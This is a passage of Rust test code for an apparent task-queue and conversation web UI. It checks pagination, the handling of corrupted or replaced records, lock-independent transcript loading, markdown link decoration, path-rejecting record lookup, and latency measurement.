27141        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27142        let next = serde_json::to_value(
27143            queue_page(
27144                State(ui.clone()),
27145                Query(PageQuery {
27146                    before: Some(cursor.into()),
27147                }),
27148            )
27149            .await
27150            .unwrap()
27151            .0,
27152        )
27153        .unwrap();
27154        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27155        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27156        let chats = serde_json::to_value(
27157            talks_page(
27158                State(ui.clone()),
27159                Query(PageQuery::default()),
27160                header::HeaderMap::new(),
27161            )
27162            .await
27163            .unwrap()
27164            .0,
27165        )
27166        .unwrap();
27167        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27168        assert!(chats["rows"][0].get("pending").is_none());
27169        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27170        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27171        assert_eq!(counts["held"], 1);
27172        assert_eq!(counts["blocked"], 1);
27173        assert_eq!(counts["queued"], 997);
27174    }
27175
27176    #[test]
27177    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27178        let dir = tempfile::tempdir().unwrap();
27179        let ui = delta_test_ui(dir.path());
27180        let mut task = Task::new(
27181            "task".into(),
27182            "body".into(),
27183            PathBuf::from("/repo"),
27184            Source::Human,
27185        );
27186        task.runs = vec!["run-a".into()];
27187        ui.queue.put(&mut task).unwrap();
27188        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27189        task.runs = vec!["run-b".into()];
27190        let path = ui.queue.path_of(&task.id);
27191        let modified = path.metadata().unwrap().modified().unwrap();
27192        let replacement = path.with_extension("replacement");
27193        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27194        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27195        std::fs::write(&replacement, &bytes).unwrap();
27196        std::fs::File::options()
27197            .write(true)
27198            .open(&replacement)
27199            .unwrap()
27200            .set_times(std::fs::FileTimes::new().set_modified(modified))
27201            .unwrap();
27202        std::fs::rename(&replacement, &path).unwrap();
27203        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27204        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27205        std::fs::write(&path, "broken").unwrap();
27206        assert!(ui.find_task_for_run("run-b").is_err());
27207        std::fs::write(&path, bytes).unwrap();
27208        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27209        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27210        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27211    }
27212
27213    #[tokio::test]
27214    async fn conversation_core_is_independent_of_unreadable_related_history() {
27215        let home = tempfile::tempdir().unwrap();
27216        let ui = delta_test_ui(home.path());
27217        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27218        std::fs::create_dir_all(ui.queue.root()).unwrap();
27219        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27220        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27221            .await
27222            .unwrap();
27223        assert_eq!(core.talk.id, id);
27224        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27225    }
27226
27227    #[test]
27228    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27229        let home = tempfile::tempdir().unwrap();
27230        let ui = delta_test_ui(home.path());
27231        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27232        let directory = home.path().join("workers/jobs/abcdef");
27233        std::fs::create_dir_all(&directory).unwrap();
27234        let job = crate::worker::Job {
27235            id: "abcdef".into(),
27236            sequence: 1,
27237            kind: "chat".into(),
27238            key: id.clone(),
27239            payload: serde_json::json!({ "talk": id }),
27240            generation: "test".into(),
27241            version: None,
27242            status: crate::worker::Status::Running,
27243            result: None,
27244            pid: None,
27245            created_at: 0,
27246            finished_at: None,
27247        };
27248        std::fs::write(
27249            directory.join("job.json"),
27250            serde_json::to_vec(&job).unwrap(),
27251        )
27252        .unwrap();
27253        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27254        let store =
27255            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27256        let runtime = tokio::runtime::Builder::new_current_thread()
27257            .enable_all()
27258            .max_blocking_threads(1)
27259            .build()
27260            .unwrap();
27261        runtime.block_on(async {
27262            let (release, held) = std::sync::mpsc::channel();
27263            let (started, ready) = tokio::sync::oneshot::channel();
27264            let occupied = tokio::task::spawn_blocking(move || {
27265                started.send(()).unwrap();
27266                held.recv().unwrap();
27267            });
27268            ready.await.unwrap();
27269            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
27270            let bulk = ui
27271                .monitor
27272                .bulk_slots
27273                .clone()
27274                .acquire_many_owned(2)
27275                .await
27276                .unwrap();
27277            let result = tokio::time::timeout(
27278                Duration::from_secs(2),
27279                talk_core(State(ui.clone()), Path(id.clone())),
27280            )
27281            .await;
27282            // Release all blockers before assertions, including on a regression.
27283            drop(store);
27284            drop(bulk);
27285            release.send(()).unwrap();
27286            occupied.await.unwrap();
27287            let _ = secondary.await.unwrap().unwrap();
27288            let Json(core) = result
27289                .expect("transcript must bypass secondary work and the worker store lock")
27290                .unwrap();
27291            assert!(
27292                core.thinking,
27293                "read-only observation retains live worker state"
27294            );
27295            assert_eq!(core.talk.id, id);
27296            let admission_ui = ui.clone();
27297            let (release, held) = std::sync::mpsc::channel();
27298            let (started, ready) = tokio::sync::oneshot::channel();
27299            let admission = std::thread::spawn(move || {
27300                let _lock = admission_ui.talk_turns.lock().unwrap();
27301                started.send(()).unwrap();
27302                held.recv().unwrap();
27303            });
27304            ready.await.unwrap();
27305            let result = tokio::time::timeout(
27306                Duration::from_secs(2),
27307                talk_core(State(ui.clone()), Path(id.clone())),
27308            )
27309            .await;
27310            release.send(()).unwrap();
27311            admission.join().unwrap();
27312            assert!(
27313                result
27314                    .expect("display must not wait behind local admission")
27315                    .unwrap()
27316                    .0
27317                    .thinking
27318            );
27319            assert!(ui.is_thinking(&id));
27320            assert!(ui.is_thinking_observed(&id));
27321            drop(live);
27322            assert!(
27323                !ui.is_thinking_observed(&id),
27324                "a finished lease no longer appears live"
27325            );
27326            assert!(!ui.is_thinking(&id));
27327            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
27328            assert!(
27329                ui.is_thinking_observed(&id),
27330                "local admission remains visible"
27331            );
27332        });
27333    }
27334
27335    #[tokio::test]
27336    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
27337        let home = tempfile::tempdir().unwrap();
27338        let ui = delta_test_ui(home.path());
27339        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27340        let mut task = Task::new(
27341            "Referenced task".into(),
27342            "Unrelated instruction history".repeat(1024),
27343            home.path().into(),
27344            Source::Human,
27345        );
27346        task.id = "20261019-000000-abcd".into();
27347        ui.queue.put(&mut task).unwrap();
27348        let mut conversation = ui.talks.get(&id).unwrap();
27349        conversation.turns.push(talk::Turn {
27350            sender: Some(talk::Sender::Persona),
27351            who: talk::Who::Agent,
27352            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
27353            at: conversation.created_at,
27354            attachments: Vec::new(),
27355            usage: None,
27356            breaks: None,
27357            messages: Vec::new(),
27358            posted_by: None,
27359        });
27360        ui.talks.put(&mut conversation).unwrap();
27361
27362        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
27363        let markdown = serde_json::to_value(&core.turn_bodies_md)
27364            .unwrap()
27365            .to_string();
27366        assert!(markdown.contains("\"strong\""));
27367        assert!(markdown.contains("\"table\""));
27368        assert!(markdown.contains("\"bullet_list\""));
27369        assert!(markdown.contains("\"code_block\""));
27370        assert!(!markdown.contains("\"internal_link\""));
27371        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
27372        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
27373        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
27374
27375        // Deferred decoration still resolves the same validated task, without
27376        // touching opaque code blocks or changing the original transcript.
27377        let references = ui.references.for_talk(home.path(), &conversation);
27378        let mut decorated = core.turn_bodies_md[0].clone();
27379        references.markdown(&mut decorated);
27380        let decorated = serde_json::to_value(decorated).unwrap().to_string();
27381        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
27382        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
27383        assert_eq!(
27384            ui.talks.get(&conversation.id).unwrap().turns[0].body,
27385            conversation.turns[0].body
27386        );
27387    }
27388
27389    #[tokio::test]
27390    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
27391        let home = tempfile::tempdir().unwrap();
27392        let ui = delta_test_ui(home.path());
27393        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27394        let mut run = RunState::new(
27395            PathBuf::from("/repo"),
27396            "main".into(),
27397            "01234567".into(),
27398            "Useful run".into(),
27399            Config::default(),
27400        );
27401        run.save_under(home.path()).unwrap();
27402        let mut task = Task::new(
27403            "Related".into(),
27404            "body".into(),
27405            PathBuf::from("/repo"),
27406            Source::Agent {
27407                run: talk_id.clone(),
27408                node: "chat".into(),
27409            },
27410        );
27411        task.runs = vec![run.id.clone()];
27412        ui.queue.put(&mut task).unwrap();
27413        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
27414        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
27415        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
27416        assert!(
27417            run_detail(State(ui.clone()), Path(run.id.clone()))
27418                .await
27419                .is_ok()
27420        );
27421        assert!(
27422            talk_sections(State(ui.clone()), Path(talk_id.clone()))
27423                .await
27424                .is_ok()
27425        );
27426        // Previously indexed corruption must not masquerade as no relationship.
27427        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27428        assert!(ui.find_task_for_run(&run.id).is_err());
27429        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
27430        ui.queue.put(&mut task).unwrap();
27431        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
27432    }
27433
27434    #[tokio::test]
27435    async fn conversation_sections_omit_large_task_instructions() {
27436        let home = tempfile::tempdir().unwrap();
27437        let ui = delta_test_ui(home.path());
27438        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27439        let mut task = Task::new(
27440            "filed task".into(),
27441            "large instruction ".repeat(65536),
27442            PathBuf::from("/repo"),
27443            Source::Agent {
27444                run: id.clone(),
27445                node: "chat".into(),
27446            },
27447        );
27448        ui.queue.put(&mut task).unwrap();
27449        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
27450        assert_eq!(sections["tasks"][0]["id"], task.id);
27451        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
27452        assert!(sections["tasks"][0].get("instruction").is_none());
27453        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
27454    }
27455
27456    #[test]
27457    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
27458        let home = tempfile::tempdir().unwrap();
27459        let talks = Talks::at(home.path().join("talks"));
27460        seed_talk_at(&talks, "20261019-000001-abcd", "open");
27461        seed_talk_at(&talks, "20261019-000002-abcd", "open");
27462        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
27463        assert!(resolve_talk(&talks, "../outside").is_err());
27464        assert!(resolve_talk(&talks, "abcd").is_err());
27465        assert_eq!(
27466            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
27467            "20261019-000001-abcd"
27468        );
27469    }
27470
27471    include!(concat!(
27472        env!("CARGO_MANIFEST_DIR"),
27473        "/tests/web_latency/baseline.rs"
27474    ));
27475
27476    include!(concat!(
27477        env!("CARGO_MANIFEST_DIR"),
27478        "/tests/web_latency/lists.rs"
27479    ));
27480
27481    #[tokio::test]
27482    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
27483    async fn web_history_latency_measurement() {
27484        use std::time::Instant;
27485        let home = tempfile::tempdir().unwrap();
27486        let ui = delta_test_ui(home.path());
27487        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27488        let mut template = ui.talks.get(&id).unwrap();
27489        template.turns = serde_json::from_value(serde_json::json!([{
27490            "who": "operator", "body": "Show the accumulated work and its current status.",
27491            "at": Timestamp::now().to_string(),
27492        }]))
27493        .unwrap();
27494        std::fs::write(
27495            ui.talks.path_of(&id),
27496            serde_json::to_vec(&template).unwrap(),
27497        )
27498        .unwrap();
27499        let count = std::env::var("MAGI_BENCH_RECORDS")
27500            .ok()
27501            .and_then(|s| s.parse::<usize>().ok())
27502            .unwrap_or(1000);
27503        for i in 0..count {
27504            template.id = format!("20261019-{i:06}-history");
27505            template.pending = "history ".repeat(2048);
27506            std::fs::write(
27507                ui.talks.path_of(&template.id),
27508                serde_json::to_vec(&template).unwrap(),
27509            )
27510            .unwrap();
27511            let mut task = Task::new(
27512                "old task".into(),
27513                "instruction ".repeat(2048),
27514                PathBuf::from("/repo"),
27515                Source::Human,
27516            );
27517            task.id = format!("20261019-{i:06}-task");
27518            ui.queue.put(&mut task).unwrap();
27519        }
27520        for baseline in [true, false] {
27521            for clients in [1, 4] {
27522                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
27523                let mut samples = Vec::new();
27524                for _ in 0..12 {
27525                    let mut jobs = Vec::new();
27526                    for _ in 0..clients {
27527                        let ui = ui.clone();
27528                        let id = id.clone();
27529                        jobs.push(tokio::spawn(async move {
27530                            let start = Instant::now();
27531                            if baseline {
27532                                let response =
27533                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
27534                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
27535                                return (
27536                                    elapsed,
27537                                    elapsed,
27538                                    serde_json::to_vec(&response).unwrap().len(),
27539                                );
27540                            }
27541                            let core = talk_core(State(ui.clone()), Path(id.clone()));
27542                            let secondary = talk_sections(State(ui), Path(id));
27543                            let (first, total) = tokio::join!(
27544                                async {
27545                                    let value = core.await.unwrap().0;
27546                                    (
27547                                        start.elapsed().as_secs_f64() * 1000.0,
27548                                        serde_json::to_vec(&value).unwrap().len(),
27549                                    )
27550                                },
27551                                async {
27552                                    let value = secondary.await.unwrap().0;
27553                                    (
27554                                        start.elapsed().as_secs_f64() * 1000.0,
27555                                        serde_json::to_vec(&value).unwrap().len(),
27556                                    )
27557                                }
27558                            );
27559                            (first.0, first.0.max(total.0), first.1 + total.1)
27560                        }));
27561                    }
27562                    for job in jobs {
27563                        samples.push(job.await.unwrap());
27564                    }
27565                }
27566                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
27567                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
27568                first.sort_by(f64::total_cmp);
27569                total.sort_by(f64::total_cmp);
27570                let n = first.len();
27571                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
27572                println!(
27573                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
27574                    first[n / 2],
27575                    first[(n * 95 / 100).min(n - 1)],
27576                    total[n / 2],
27577                    total[(n * 95 / 100).min(n - 1)],
27578                    samples[0].2
27579                );
27580            }
27581        }
27582    }
27583
27584    #[test]
27585    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
27586        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
27587        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
27588        assert!(APP_JS.contains("function nextRunRequest(id)"));
27589        assert!(APP_JS.contains("function runShell(id, summary)"));
27590        assert!(APP_JS.contains("function nextTaskRequest(id)"));
27591        assert!(APP_JS.contains("function taskShell(id, summary)"));
27592        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
27593    }
27594}